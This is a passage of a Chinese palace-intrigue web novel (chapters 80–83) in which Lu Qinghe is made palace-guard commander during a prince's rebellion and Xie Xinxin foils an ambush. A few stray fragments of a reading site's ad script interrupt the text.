于是都未等平身的御令,径自起身抱拳,将紫金袍的衣角甩得猎猎有声:“是臣莽撞了,臣告退。” 说着竟然真的自行退出了御书房,吓得霍必恩腰又往下矮了半寸。 就听皇上叹了口气,“这样不知进退的直刀,如何教养出那样的孩子的?” 霍必恩听出皇帝说的是谁,呵了呵腰,斟酌着道:“有再大的造化,也得是皇上慧眼惜才。” 皇帝瞪他一眼:“功夫都下到拍马屁上了。” 思忖片刻,又问霍必恩,“太子此时在何处?” 霍必恩掐指一算,“当在资善堂听翰林学士讲书。” 皇帝嗯了一声,“那么承元也在了?去,叫太子和承元一起来回话,朕要听听他们对陆佗方才所说之事的看法。” 未经二三刻,门外就传太子已道,苍青石阶上,天子一袭青罗公服,束通犀金玉带,低头而入,稳稳当当称了一声:“父王。” 皇帝蹙了眉:“承元呢?为何不同你一道来?” 太子恭敬回道:“父王,皇兄染疾,已卧床多日,这几日未和儿臣一同上学。” “病了?”皇帝问,“怎么没人跟朕说一声?可看了御医?” 就有瑞泽殿的宫人听了话跪在地上,“陛下赎罪,已传御医看过,说大皇子殿下是中了湿热,阳气太足,血热风盛,以致气血凝滞,身上起了红疹。殿下敬重陛下,不愿以此面目面见陛下,让奴婢们毋需大张旗鼓,静心养病即可。” 皇帝没说什么,冷冷地睨了这宫人一眼。霍必恩心领神会,上前驱赶:“说完了还不退下?没的跪在这里招嫌。” 说话时,太子静立一旁,并不多言。 皇帝看了他一眼,忽然失了兴致,“罢了,既然如此,太子也回去吧。” 太子沉静的应了,后退着退出了御书房。皇帝望着他离去的影子,没来由觉得太子和陆清和有些相像。 正出着神,忽有侍卫急报,一路小跑着在殿前跪下: “陛下,云顺郡王,云顺郡王……” 霍必恩不阴不阳地接了一句:“皇上面前,岂容你失仪?好好说话,别喘气。” 那侍卫才狠狠地将肺里的气吐出来: “云顺郡王反了!!!” 80.任命书 霍必恩几乎站不住,险些跪了,舌头打结一般说不出一句完整的话来。不怪他做到大太监还这样如惊弦之鸟,史书上的御前太监众多,又有几个人这辈子能有幸听到一句亲王反了呢? 可皇上却没有勃然大怒。霍必恩怀疑自己是看错了,不然皇帝的嘴角怎么倒像是微微上浮了一下? 他暗自纳罕着,也跟着冷静了下来,就听皇帝沉了沉声音,道:“去叫陆佗回来。” 这是打算让北瑛王出兵了?霍必恩不敢耽搁,也不指派小太监,亲自跑成一团风,生怕北瑛王腿脚快,这时候已经出宫了。 紧赶慢赶地,总算将王爷拦了下来。陆佗本来怒气冲冲,以为皇帝在拿他开玩笑呢,一听前情,步子迈得比霍必恩更大。 大步流星的回到皇帝身边,利落一跪:“皇上,臣请出兵,即刻前往镇压反贼!” 皇帝却摆了摆手:“你方才不是说想东北边境清剿倭寇么?朕准了,你尽快启程吧。” 倭寇?陆佗一愣。这乱党起兵直逼云京城,往前一步就是皇宫,再往前一步就是龙椅了。火烧眉毛的时刻,圣上倒想起倭寇了? 陆佗张口欲言:“皇上……” “行了。”皇帝道,“内忧外患,孰轻孰重,你是当将军的,分不清么?还要朕抽丝剥茧解释给你听?” 陆佗一经点拨,即刻明白过来,踟蹰着道:“皇上的意思是,东洋可能会趁此机会向我朝发难?可,臣走了,云京谁来守呢?” 皇帝冷笑:“杀鸡焉用牛刀?你当两司三衙都是吃干饭的?” 陆佗却还是道:“不可……臣难放心。就说殿前司,前指挥使因公殉职,至今由副都指挥使代理殿前司事由。我进京时,恰逢副都指挥使前往漠北指挥防御战事,如今殿前司只剩都虞候在京,仅凭他……?” “那朕就即刻任命你儿子为殿前司指挥使,即刻率军前往处理反贼赵都云。你还有什么话说?” 皇帝的主意来得十分突然,生生将陆佗后半句质疑噎回腹中。 未料到几句来回,竟替陆家揽下这么大一顶官帽。陆佗鬓角微微冒汗,知道此时不该再多言,再多嘴,竟像是贪心不足了。 皇帝哼了一声,就叫霍必恩传旨,令陆佗前往东北边境诛清倭寇。 霍必恩讪讪上前:“王爷,接旨吧?” “如此……”陆佗斟酌道,“臣不敢不遵君命,便替小儿陆景明跪谢君恩……” “哈,”皇帝笑了,“朕只说任命你儿子,何时说过是他了?” …… 云顺郡王谋反,这消息不知怎么走漏出了宫外,听说流言已在京城流传,人人自危,光是米价就坐地起了三倍。 谢辛辛这厢正紧着背诵陆清和吩咐的官员名号,听到阿凤来传宣王府兵已到云京城外三百里,不免愣怔。 陆清和问:“城中此时竟已皆知?父王呢?” 阿凤答是,“王爷领旨,已带军去东北镇压倭寇。” 谢辛辛担忧地望了他一眼,“圣上这是何意?你不是说可倾北瑛王府兵力压制赵都云?如今……” 陆清和摇摇头,他也不知。圣意难测,他以为皇上和他至少达成了共识,他这把刀,只待赵都云起兵,皇帝有了削藩的借口,才不用藏了。皇上忌惮父王,本说好的是授他北瑛王府的兵符,凭他歼灭反贼,为何如今又让父王带走了军队? 正琢磨着,圣旨很快传到了北瑛王府。赵都云带兵从莲州一路向北的消息已达王府,此时来甚至,多半有关军令。 瑛王妃,陆景明才要去正门跪接圣旨,传旨太监却清清嗓子,小声道: “是要贵府二公子陆清和接旨。” 陆景明惑然看向王妃。 瑛王妃并不接他的目光,愕然片刻,向来使端方点头道:“臣妇明白。”转头差人去将禁足中的陆清和叫出来。 陆景明皱了皱眉,有种不甚舒服的感觉。 他有些讨厌母亲持重的某些时刻。 陆景明认为自己的脾气随父,而陆清和却随了母亲。为何会如此呢?明明王妃是他的母亲,而陆清和的亲娘四姨娘是个偏执的疯女人。 此时陆清和很快赶来,身后居然还跟着那个小掌柜。 若定睛去看,却是陆清和牵着她来的。 待二人站定,传旨太监拦着道:“不忙跪,不忙跪。” 便拖长了声儿: “奉天承运,皇帝诏曰: ……朕闻北瑛王府二公子陆清和,自幼秉承家学,乃国之栋梁,朕心所系。特此擢升陆清和为殿前司指挥使,掌领禁军,护卫宫闱。 现非常之势,乱党已起,此旨既下,特免去太常寺接旨之缛节,毋需即着仪仗觐见,陆清和随旨接受印信告身,即刻履职,诛压反贼……钦此!” 那双微吊的双目闪烁了一下,随即恢复了镇静。 “臣领旨。” 不顾王妃与长兄惊讶的目光,陆清和声音沉静,目光如隼。只有对上谢辛辛的眼神的时候,含笑低了低眼睫。 太监要走,临了却被陆景明拦了一手。传旨是个特殊的差事,无论好坏,都少不了油水。这种升迁的好事,临走被叫住,多半是要分银瓜子。 故而他笑眯眯地转过来:“陆世子,还有何吩咐?” 陆景明道:“这旨意果真是下给我弟弟的?可会有错?可是知制诰听错了圣意?如此突然,门下省果真审查过么……” 太监神色变了,颤巍巍地指着他:“放肆!世子可是在质疑圣旨的真伪?” 陆景明蹙额道:“我非此意……只是听闻父王已奉口谕领兵赶赴边境,我自幼追随父王打仗,今日却没受到任何指派。眼下圣旨又到,却竟不是给我的,而是给我体弱的弟弟……” “公公,反贼当前,我怀疑宫中是否已经生变了?” 谢辛辛骤然抬眼看他。 这位少年将军显然被权欲冲昏了头脑,眼中戾气难掩,同一副眉目,瞧着竟丝毫不像几日前清俊了。 传旨太监也跟着一惊,“你……你!如此狂妄之言……” “退下!” 一声高亮的怒斥。 众人皆望向王妃的位置。 瑛王妃高声道:“逆子陆景明,我是说你,退下!王府素日是如何教养你的?!” 陆景明惊诧道:“母亲!清和日前才惹怒龙颜,怎会今日就……” “闭嘴。”瑛王妃黛眉紧锁,昳丽的容貌之中也透出浓浓威严,“再说此话,自去领军杖五十。” 王妃一直以来,在王府中如一道倩影,细语如风,清丽飘然,此刻却声声掷地,身姿却如松木,有北瑛王军八分的风采。 她先是为陆景明向太监怀中塞了一锭金锞,托他今日王府家仇勿要外传,既而转过身冷冷扫了一眼陆景明: “世子今日吃多了酒,胡言乱语。来人,将世子关在房中醒酒,今日不得外出。” 见王妃似乎是认真的,陆景明才冷静下来,意识到自己冲动失言,忽然冒了冷汗。 他推开侍女,涔然道:“不必扶我,我自己回房,今夜我房中不必留人服侍了。” 待陆景明走后,陆清和轻轻握了握谢辛辛的手。 皇帝这次任命,实在出乎他的意料。所幸指挥使也有禁军可使,情况不算太坏。只是他作为皇帝暗处的眼睛,朝堂之上的交际不多,殿前司的人,如今他一个也不认识,不知是否会酿成后 () { $(''.inform'').remove(); $(''#content'').append('' 患。 “陆公子……不,陆大人,恭喜你了。”谢辛辛回握回去,调侃他,喜色下却有隐忧,“任命和你预想不同,这对你的计划,可有影响?” 陆清和摇头道:“无妨,我会想办法解决。只是明日该给徐明庚送的解药,或许要劳烦你替我走一趟。他认得你的样子,不会起疑心的。” 那厢赵都云起兵,却不是谋权篡位的名头,竟先在三州散步储君失德,太子殿下谋害大皇子,致皇子失踪,皇家血脉不知流落何处的谣言,直要逼皇帝废储,否则他要进京搜查云京各处乃至各宫,直待找回大皇子为止。 要说这大皇子承元,不应该正在自家宫殿里病着么?赵都云这发难发的奇怪,宫里一查,宫里竟然真没了大皇子的踪影。 皇帝震怒,翻遍了整座皇宫,最后得出的结论是,大皇子告病告了多久,就失踪了多久。这却是在皇帝意料之外的。 虽不愿被赵都云牵着鼻子走,太子却仍是成了最有嫌疑之人。东宫里外,登时围了三层。 太子望着远方的山顶,悠悠叹了口气。 “这次就躲闲罢,交给他了。”太子自言自语,缓缓步入烧着香炭的寝宫。 立冬过去,天眼见的寒了下来。谢辛辛才从徐明庚的住处出来,徐明庚要送她,她不让。 “外头冷的很。”她笑了笑,衣裳被风吹得作响,“大人别送了。等大人揭发赵都云的陈情书一写完,陆大人就将剩下的解药一气儿还给您,绝不拖泥带水的。” 徐明庚眼睛一眯,就不强求,临走又拉着她:“陆大人真没有别的吩咐?这突然这么大方,徐某真不习惯。” 谢辛辛瞧着他精明的眼神,心知不编出个子丑寅卯是打消不了此人的疑虑了,干脆道:“陆大人新官上任,这会儿忙着点兵评判去,哪有空再管你这档破事?徐明庚,你别不识好歹,若愿意再学两声狗叫,我不介意多听一遍。” 徐明庚脸上闪过一丝狠戾,马上又堆起笑:“是我多嘴了。” 门一关上,徐明庚的脸就耷了下来。 身旁侍从识趣地上前替他揉肩,觉得能拿回所有解药是个不再受制于北瑛王府的好机会,“大人,您可算是要解脱了。” “放屁。”徐明庚骂了一句,“平时叫我上上折子也就罢了。他现在要我写云顺郡王所做的勾当上交朝廷,以便他发兵,比郡王爷更师出有名,这我敢写吗?我不要命啦?” 侍从静静听完,试探道:“这郡王爷不是反了么?大人如今顺应陆大人的意思,事后伐贼成功,大人岂不能以功臣论?” “反?”徐明庚吹胡子瞪眼,“你傻的么?反是不反,还不是龙椅上头的人定论?北瑛王军如今不在云京,眼下一边是郡王爷和大皇子党,一边是老早就不爱问事的老皇帝和太子党,最后龙椅是谁的,还不知道呢。” 侍从的眼神渐渐明亮了起来:“大人,既然如此,不如等拿到解药之后,重新替郡王爷做事吧。大人不必担心郡王爷会对你怎么样,毕竟如今你和陆大人有往来,这利用价值,可与往日不同了。” 听这侍从谈吐渐渐露了锋芒,赵都云定睛看了他一眼,竟不是平日里常带的几个,倒像是那日替自己来送文书的小厮。 徐明庚迟疑着问:“你是……” 那侍从一笑,“大人倒不认识奴才了。奴才从莲州一路追随大人至今,好不容易站到大人身边的位置,才能替云顺郡王传那么一句话啊。” 吓得徐明庚腿脚一软,愕然道:“原来贴身侍奉的人去哪了?你把他们怎么了?” “大人倒重情义。”侍从说的慢斯条理,“既重情义,想必不会忘了宣王府对大人的照拂吧?大人,该是您报恩的时候了。” 81.金革带 云京某巷,乌云如黑蛇一般盘踞,空中乍然打了两道旱天雷。 徐明庚一哆嗦。天气虽冷,他却因紧张而出了满额的汗。 身边跟着的侍从瞥了他一眼,讥讽道:“徐大人,不应当啊,阎王手里怕是有两册子人命是你送去的,如今杀个陆清和,让你怕成这样?” “呸。”徐明庚啐了一口,“是你杀,不是我杀,我只负责将他约出来,届时你来动手,不要乱讲话。” “再说了,我先前杀的人都是畜狗不如的贱奴草民,而他不仅是北瑛王府的二公子,如今又是殿前司都指挥使,能一样吗?” 听他说“贱奴”二字,侍从微微变了脸色,牙缝里挤出字来:“徐大人说的是。” 徐明庚并未察觉他的不悦,跺着脚自语道:“他能来吗?可是我约的巷子太偏僻,他觉得不妥?” 侍从道:“他要拿你手上的证据,纵然再觉得不妥,最后也不得不来。” “话虽这么说……”徐明庚却觉得奇怪,“我先前交给他的东西也足够给云顺郡王定罪了……呃,等等,我将那些文书给陆清和的事,你不会同都郡王爷说了吧?” 侍从不置可否地耸耸肩:“你还活着,我说与不说,有什么相干。” 徐明庚讪讪道:“正是,郡王爷待我不薄,我这次定然不负他的期望。” 远处倒是浮现一抹绛红罗衣的身影,徐明庚忙道:“帮我看看,是指挥使的官服不是?” 那侍从眯起眼睛:“怎么倒不像?瞧着矮一些,瘦一些……” 那身影近了,竟是谢辛辛。绯色长褙配金线织花的短褙,戴一个不甚合身的曳地大氅,迎风按着幕篱走来。 “谢小掌柜?”徐明庚失望道,“怎么是她来?” 侍从也是一愣,旋即道,“无妨,捉她回去也是大功一件。” “你休想。”徐明庚瞪他一眼,“你现下捉了她,陆清和便再也不会上当了,还怎么成就大事?碰不到陆清和,我拿什么给郡王爷交差?” 侍从讥笑道:“那是你的事,和我有什么关系。” 但到底是顾全大局,并未轻举妄动。 谢辛辛裹着氅子,叫了声徐大人,“怎么?徐大人看起来不想见我?” 徐明庚呵腰腆笑,“哪能呢?只是许久不见陆指挥使,本以为今日能见他呢。” “陆清和新官上任,公务繁忙。”说起他时,谢辛辛眉目舒展了些,“先托我来验验货。” 徐明庚便恭恭敬敬地将身上的东西拿了出来,偷偷睨了一眼侍从,“这指挥使未免胆子太大了些,让美人儿一个人出面。” “这个么,他忙完了或许会来的。”谢辛辛同他寒暄几句,就要接过徐明庚手里的诉状书,徐明庚却死死捏着不松手。 原先的计划,是陆清和来接头,交物之时,这侍从趁机取他小命,最后解药和诉状书都仍在自己的手里。 如今来的是谢辛辛,这个计划要怎么办呢。 眼见着侍从的手渐渐摸向了后腰藏着的匕首,徐明庚左右为难,连忙道:“谢小掌柜,先把解药拿出来我看一眼吧。” 谢辛辛却忽然松了手,一拍脑门,“哎呀,你说我这脑子,才用了饭过来,就把绣包落在丰月楼,那里头装着徐大人要的解药呢。” 徐明庚和侍从俱是一愣。 徐明庚皱着眉:“谢小掌柜,你可别跟我耍花招。” 谢辛辛道:“怎么会呢?我听说徐大人混迹云京,在丰月楼很是吃得开,大人若不放心,随我去取就是了。” 说是吃得开,不过是天天地去讨佳酿美人,再把酒钱记在陆清和的账上罢了。但无论如何,也算他在丰月楼有几个熟人了。 徐明庚一笑,心道这大约是小掌柜保命的手段,引他去人多的地方交易,不容易再生事端。而这地方又是他再熟悉不过的,也好叫他放心。 “既然如此,那徐某就随谢小掌柜去一趟。” 丰月楼离二人现在的位置也不远,走个半刻就能到。怎料谢辛辛在前头带路,是越走越快,最后几乎要小跑起来。 徐明庚唯恐生变,不敢跟丢了她,只好一头雾水地跟在后面跑着。 “救命!”谢辛辛摔进丰月楼里,突然地大喊,“救命,救救我!有个秃头老丈要轻薄于我!” 丰月楼一阵哗然。登时就有暴脾气的女娘挽起袖子来,“这青天白日的,我倒要看看是谁这么不要脸。” 众人皆是附和,喝酒吃肉的郎君们也停下食箸,“姑娘莫怕,我们替你做主!” 人们往外伸头一看,那跌跌撞撞滚来的大肉球,可不是徐明庚徐大人么! 待徐明庚二人上气不接下气地追到丰月楼里,却看楼中食客皆是神情古怪。 “我道是谁呢?”泼辣的女娘嫌弃道,“徐大人,也是我们丰月楼的常客了。若是他,那还真是不稀罕。” 客人都是见过徐明庚在云京花楼中跋扈的,纷纷恍然大悟一般。 徐明庚听不懂他们的意思,心里只有自己的解药,骂骂咧咧道: “你跑什么?还不、还不给我?” “我呸!” 忽地一口唾沫砸到了徐明庚的脸上。 歌舞的铃娘指着徐明庚的鼻子大骂:“光天化日,你这狗贼说什么淫语呢?平日里对我们姐妹几个动手动脚也就算了,如今还欺负起良家丫头来了?谁要给你?给你个头!” “铃娘……”徐明庚呆呆地看着她,“不是,什么呀,今儿不是来找你吃酒的,你掺和什么?” 谢辛辛适时地嚎啕起来,“我不给,我不给他!我是陆指挥使府上的……” 徐明庚一怔,愤懑向她逼过去:“你凭什么不给?陆指挥使又如何?我早就和他说过了!” 霎时唏嘘一片。 早前吃过徐明庚的亏的人们登时站出来,拦着他道,“徐明庚,新任指挥使待你不薄,你在云京捅了多少篓子都是他替你擦屁股的?怎可对他的人下手?真是畜牲!” “滚!”徐明庚嚣张惯了,一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 拳头砸在碍事的脸上。 铃娘骂道:“你还敢打人?兄弟姐妹们,一起上!” 这下好了,群情激愤,围观的食客一拥而上,既是“伸张正义”,也是偷偷泄愤。徐明庚双拳难敌无数手,立刻被埋在了拳头下。 徐明庚大叫道:“你还不动手!等什么!” 一同来的侍卫笑了笑,在肉山叠成的缝隙中,对他道:“这是徐大人自己平日行事狂妄,树敌太多,造的旧孽吧,似乎和我的任务无关。” 楼外忽然一阵响过徐明庚之嚎叫的铁骑之声,有骑兵喊声震天:“殿前司在此,何方狂徒在此地撒野?” 为首之人绯色袍衫金革带,体态有病气,下马却利落。众人立刻明白过来是殿前司出城经过,一哄而散。 都头悄悄向身边人道:“本以为新指挥使没什么本事……嗐,没想到果真是料事如神。出城时见此人形迹可疑,就料到他今日会来此闹事。” 却有将兵仍然不甚服气:“我们是去打仗,不是去断案的。听说新指挥使不像陆世子,从没上过战场。还得看看他有没有胆色。” 徐明庚带来的侍卫神色一变。未想到见到陆清和之时竟是如此阵仗,原先刺杀的计划行不通了,就要撤退。 徐明庚却奄奄道:“不许走……” 陆清和皱眉,只说:“徐大人仗势欺人,作恶多端,眼下竟然与民斗殴,带走关押。” 徐明庚指着他,从怀里摸出对赵都云罪行的诉书来:“你!你是不是想要这个……我给你不就是了……” 有将卫上前接过,脸色一变,就将它呈给陆清和。 陆清和略扫了一眼,便道:“此人伙通反贼,现有自供为证,押入死牢。” 徐明庚:“……什么?你,快救我啊!” 他带来的侍从却早退到几丈开外去了。在徐明庚被拖走之际,笑眼看着他的眼睛,张了张口: 贱奴。 徐明庚被架走之时,仍不可置信地看着他,“你,你敢骂我!我要禀报云顺郡王!” 可被求救的此人戴上面罩,悄无声息地退走了。 任务失败了就失败了,大不了将锅都甩在这徐大人的头上。 毕竟听说这位徐大人在邺州,可杀了不少他在宣王府中一同长大的同胞兄弟。 尘埃落定,军士们撤了出去,众人拍手叫好之余,都拿眼角觑着这位身姿脱尘的新指挥使。 谢辛辛从地上爬起来,不自觉朝他走了两步。 平时极少见这人穿这样艳的红色,官服上用锁绣绣着狮子兽,很是威风。 穿着狮首的男人温和地笑了笑,朝她伸出手来: “可有伤着的地方?” “哦——”看热闹的人们聚成一团,眼弯弯地窃窃私语。 果然是新指挥使府里的人呀!郎才女貌,真是般配! “可惜,可惜啊。”有人摇着头,“新指挥使就要出城了,听说云顺郡王手里有三万精兵,这万一打起来,生死未卜啊……” 82.蜘蛛网 他一路牵着谢辛辛出去,走了没几步,手上就被挣脱了。 “这么多人。”她低下眼睛,“这么多人看着呢。” 陆清和往前看了一眼,果然,跟着一道来的禁军都拿眼睛往这边瞟着,察觉到指挥使的视线,又都装作目不斜视、正义凛然的样子。 “方才唬人不是挺英勇的嘛。”难得她也有局促的时候,陆清和忍不住多玩笑了几句,“如今我是殿前司都指挥使,手下的人早晚也是要认识你的。” “……说浑话。”她小声抵抗。 “我是说真的。”陆清和眨了眨眼睛,“此次出城,和赵都云必有一战,若我凯旋,你家仇也得报了。届时不若搬到云京来,带着你的玉春楼一起。我这些日子,四处盘了不少酒楼和铺面,全是你的名字……你来云京,仍然开一家玉春楼,做谢小掌柜,好不好?” 这等大礼,让人太过震惊,以至于谢辛辛都没顾得上害羞。可她更惊讶于向来谨言慎行的人竟然会在此时设想凯旋归来的场面,忙打断他,“临行之前怎么说这些?这种关头,话决不可说得太圆满,这样不吉利。” 说完她一愣,隐隐反应过来。 果然听见陆清和轻轻苦笑:“若不给自己这样的期待,未免太灰心丧气了些。” “何出此言?”谢辛辛不解,“你打赵都云,打不过么?” 哪怕他再钻研过兵书,也没有从军的经历,陆清和的信心,几乎全来自己于破釜沉舟。 他几乎就想接一声“打不过”,但脑中闪回,很快想到了上一次说这三个字,是在莲州的溪谷。 他说了“打不过”后,阴差阳错,就将宣王府遣来的黑衣暗卫打退了。 遂不自觉带上了笑意,“你是我的福星,有你坐镇云京,应是能给我带来赢面的。” 他想到了什么,又摇摇头,“我只是担心我回来时,北瑛王府不知还在不在。若是……罢了,不说这些。” 紧接着碎碎地嘱托了许多琐事,“我该走了……给你在城南的宣和街租了小院子,钥匙藏在门口桂花树下的坛子底。院子和我们在邺州住的很像……若得空,我会写信的。你再回信,可不许那样冷漠了。” 她心不在焉地应着,其实听得不很真切,总还在想着,什么叫北瑛王府不知还在不在…… 谢辛辛皱着眉,不知他为何会有这种担忧。 陆景明少年成名,北瑛王在东洋一带作战,如今陆清和更是一跃成为殿前司都指挥使。再加上赵都云已见不臣之心,任谁来看,北瑛王府在皇帝的眼里,正是一人之下、炙手可热的时候。 谁还能牵动北瑛王府呢?除非,皇帝…… 只顾着不安了,以至于她尚未来得及投入到离别之中,走神思考着。 见她拧眉出神,一点儿不搭理自己,陆清和也不恼。临行前,看她如何都是觉得可爱的。她愿意沉思,岂不是她把他陆家的事情也放在了心上? 谢辛辛额间忽然落下轻柔温热的触感。 惊愕抬眼时,陆清和早已翻身上马,笑着朝她作别。 战马就要驾出城门,威风凛凛的少年郎最后回头望了一眼心头的姑娘,见谢辛辛在人群中好像说了一句什么话。 陆清和微怔一瞬,既而狭长的眉目上盈起笑意。马匹也轻快,带着人影一瞬消失在了巍然的城门之后。 “我答应你。” 她这么允了。 来云京开一家玉春楼……听着不难。所以陆指挥使,定要凯旋而归啊。 按计划,禁军应该在距离云京的山脚处安营。京城之外,本有南北兵营列峙相望,因而陆清和所带兵马没有想象的多。他也只消带出几千骑,与城外南禁军汇合即可。 只待赵都云率军一至,双方人马或先谈判,自然这谈判多半是谈不成的,那么这个位置进可前攻,退也可傍山而守。 只是携军出行不似孤身策马,哪怕是不远的距离,也要行军几日才能安定。想来这几天是不会有信了。 抬头看天,才发现今日浓云滚滚,压得人喘不过气。 陆清和走了,自己在云京城中,忽然有种孑然一身的孤独。也不知莲州的各位如何了,茗琅是聪明的,安置刘宛应该不成问题。边青昙与马南春…… 事已至此,先去院子里整理一下,给茗琅去一封信吧。至于回信,就让她寄到殿前司去,以免自己的去信被赵都云的人拦截。导致行踪泄露,谁知道此刻赵都云会不会抽出工夫来料理自己?这人疯成这样,做什么都有可能。 她慢慢地走在路上,纷繁的思绪从她脑子里走马灯一样地穿过,有些回忆的麟角凑在一起,她不免有些发冷。 告别之时在脑中闪过的猜想,让她觉得很是可怖。世人眼中一心求道的皇帝,是真的无心政事么? 北瑛王府手中军功之显赫,使之能够成为本朝唯一一位异姓王氏族。可皇帝登基不过几年,若陆清和的担忧成真,实在像极了话本中演的飞鸟尽、良弓藏。 难道皇帝曾经表现的一心求道,只是帝位未固之前的隐忍不发?就现状而言,曾经二分天下的宣王府与北瑛王府二虎相争…… 再想皇帝未有退位之意,却一直任由太子与大皇子各自结党发展,听之任之,也隐有奇怪之处。结合起来一想,倒像是刻意为之了。 这…… 即便无风,她身上也骤然起了细密冷汗。 她一个市井之身,从无机会得见天颜,自然对高高在上的天子毫无认知。 可如今想来,继天立极之者,怎么可能是昏庸之辈?其用心之深沉,布局之深远,单单是窥得片羽,也令人望而生畏。 心里紧张,脚步也不自觉加快了起来。突如其来的独处时分,使她猛然如开窍一般,收不回思绪—— 据陆清和所言,赵都云要反的消息,他早就有机会禀圣,可皇帝不仅没有选择未雨绸缪,却将他禁足在北瑛王府中,摆明了不愿将事情闹大。为什么?是皇帝太过自信以至自负,果真不把赵都云当回事吗?还是说,一切已在他的布局之中…… 在这看似千钧一发之际,赵都云逼近云京,皇帝才悠悠出手,而这一手,状若应对仓促,却将陆家包括王爷在内的三位男丁被举重若轻地分离三地。 陆清和说北瑛王府前途未卜,是不是早就想到了这一点? 这么想着,有些浑浑噩噩,不觉已经走到了宣和街,一眼就能望见门口栽了桂花树的小院子。泥土潮湿,看着很新,似乎是新种下的。树脚有酒坛,大约是酒楼售酒的噱头,坛子上贴着工笔写了“岁岁年年”的小纸。 她这才回神,会心一笑。玉春楼也常做这种事,外售的酒坛上写点吉祥话,有了好寓意,卖的更好一些。 伸手拿起那坛子,很轻,是空的。启封之后,果然从坛底摸到小小的锁匙。 将要开门,身后却总有一种不舒服的感觉,似乎有一双隐匿的眼睛一直观察着自己。 莫非是赵都云的人? 她下意识回头,行人皆匆匆,没有可疑的地方。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>即便如此,她还是一进院子就飞速给大门上了锁。 经历这么多之后,她相信自己的直觉。 院屋的布局果然和邺州住过的房子很像,单进的小院简朴整洁,一个主屋配两间厢房,院中茶桌盆景,一草一木,皆和邺州院子全无二致。 “倒也不必在这种地方这么严谨……”她摇头笑了。 望着熟悉之景,眼中却酸涩起来,心中顿感无边寂寥。明明这人已经远行,在这间小院,却仿佛处处都在似的。 狐狸蹿离兽穴,留下的浮毛也勾人心魄,实在可恶。 才要找笔墨写信,却听得轻微的“咔嚓”一声,像是门口的桂树枝丫受重而生的裂痕。 紧接有极轻的落地声音。 她一顿,首先想到是赵都云派来的暗探。又觉得山高水远,自己才搬入此处,赵都云那边的消息未必有这么快。 紧接着想到的是陆景明。 陆清和同她说过这个兄长不可轻信—— 而且是个翻墙老手。 谢辛辛拔下头上的簪子,慢慢地朝门口探去。 猛然“笃笃”两声,有人叩门。 她被吓了一跳,一时未敢出声。 “笃笃”,又是两声急切地叩门。 谢辛辛踟蹰着问:“谁?” “谢小掌柜,是我。” 她一听便知,讶然道:“阿凤?” 大门打开,果然是阿凤站在门外。果然是主人升职,阿凤穿着也贵气利落许多,一身素色绸衣,身肩挺拔,竟有小公子气。 阿凤手上是他才折的一段长长的桂枝,当作木剑一般,被他别在腰后,“那个,我眼馋这根树枝很久了,只是公子在京时不许我砍断它……谢小掌柜,你不介意吧?” 她一愣:“陆清和出军没有带着你?那谁来护他?” 这人明明没什么功夫傍身,近来瞧着又愈发病弱了。 阿凤坦率道:“公子命我来护你安全,我听公子的。” 她顿时失语:“陆清和怎么这样不知轻重……” 阿凤道:“不止如此。” 一只玉佩挂在他手间,“公子留下了他的佩。公子说你若有需要,京中殿前司的人也可供你驱使。殿前司文书办事的地方要比禁军容易相处的多,我已打通司中各处,你若有差遣,阿凤会待你传达。” “我哪里用得上……” 说到一半,谢辛辛忽然改口,“不,我用得上。多谢你了。” 她忽然下了决定。 她要助他。 要助他,就是与天子争智谋。谢辛辛不知这是否是蚍蜉撼树,可她不能让谢府之事,在北瑛王府重演。 至少,不能在她毫无作为的情况下,在她的眼前重演。更何况,倘若皇帝真要鸟尽弓藏,焉知前去讨伐云顺郡王的陆清和,最后不会成为一把被藏的良弓? 她想了想,“阿凤,我能进殿前司狱吗?我想见一见徐明庚。” 阿凤称自然可以。 那么陆清和留下的这个佩,她需要好好利用了。 当今圣上已经设好一个缜密的局,要像在蜘蛛网中挣扎求生,实在太难。 单把这个蜘蛛网被捅一个窟窿,蜘蛛只要照原样,将网修补即可。 但如果在破损的蛛网中,放进第二个蜘蛛呢? 谢辛辛点点头,又问: “据我所知,殿前司和司狱,似乎设在皇宫附近吧?如果我要太子出宫来见我,你觉得可能性有多大?” 83.报应果 阿凤陪她在院子里收拾了几日,忽然说可以带她去司狱了。 这声“可以了”说的简单,谢辛辛想,或许阿凤一人在殿前司内打通关窍,应是不太容易。陆清和不在,难为他独当一面了。 守卫将谢辛辛与阿凤拦在司狱司前,谢辛辛抬眼瞧了里面忙碌的各人,才发觉阿凤的新衣服是殿前司的制式。 “这位是?” “这是新任都指挥使大人的夫人。” 守卫立刻恭谨道:“夫人。不知都指挥使夫人驾临……” 谢辛辛不免结舌。 阿凤答得十分理直气壮,守卫应得也是从善如流。实在奇怪,明明是个别人捏造的谎言,整个司狱司前,好像只有她一人心虚得很。 她向阿凤投去一个“你就是这么带我进来的?”的眼神。 阿凤清了清嗓子,不露声色地回避了这个视线,“夫人替指挥使问话,要见罪臣徐明庚,带路吧,仔细别让其他犯人唐突到夫人。” 谢辛辛认识阿凤以来,他就跟在陆清和身边伺候,虽然不像普通小厮那样奴颜婢膝,但此刻腰背挺直如松,落落大方的模样,谢辛辛也是第一次见到,真像是京城的五陵少年。 难道是做官养人?可她看陆清和的身子倒愈发弱下去了,倒是阿凤,最近不仅身量长了,脸也长开了,举手投足学去了陆清和的六七分姿态,坐骨清正,皮相风流,真是个好孩子。 她本来有些好奇,阿凤是如何在王府中成长成这样的。但一想宣王府收养的孤儿之间,同样能出落得茗琅和边青昙这般人物,便也觉得合理。 再看向阿凤的目光不免带些姐姐辈的宠爱。阿凤眼风一瞥,隐约读出了她眼中复杂的深意,倒是身板更直了一些,很有些自豪之情态。 谢辛辛笑了。 到底还是年轻的孩子。 往里走,没想到司狱外头门派看着骇人,内中却很是简朴。进了一间暗牢,只有清苦的铁器味,不像莲州的府狱那样腥臭。 只是在陆清和的同僚面前,说她在大狱的经历似乎不太合适。琢磨了半天指挥使夫人该是什么腔调,最终憋出四个字,“挺干净的。” 阿凤便解释:“施肉刑的地方在另一边,不敢让你见,免得公子……免得陆指挥使回来怪罪。” 他还没适应过来改口,舌头在颚间弹打了一下,又转头问:“人带过来了吗?” “在里面。不过,即便手足枷皆已上好,还是留个人在旁边盯着他吧,也是为都指挥使夫人的安全着想,夫人您看呢?” 谢辛辛朝阿凤摇了摇头。 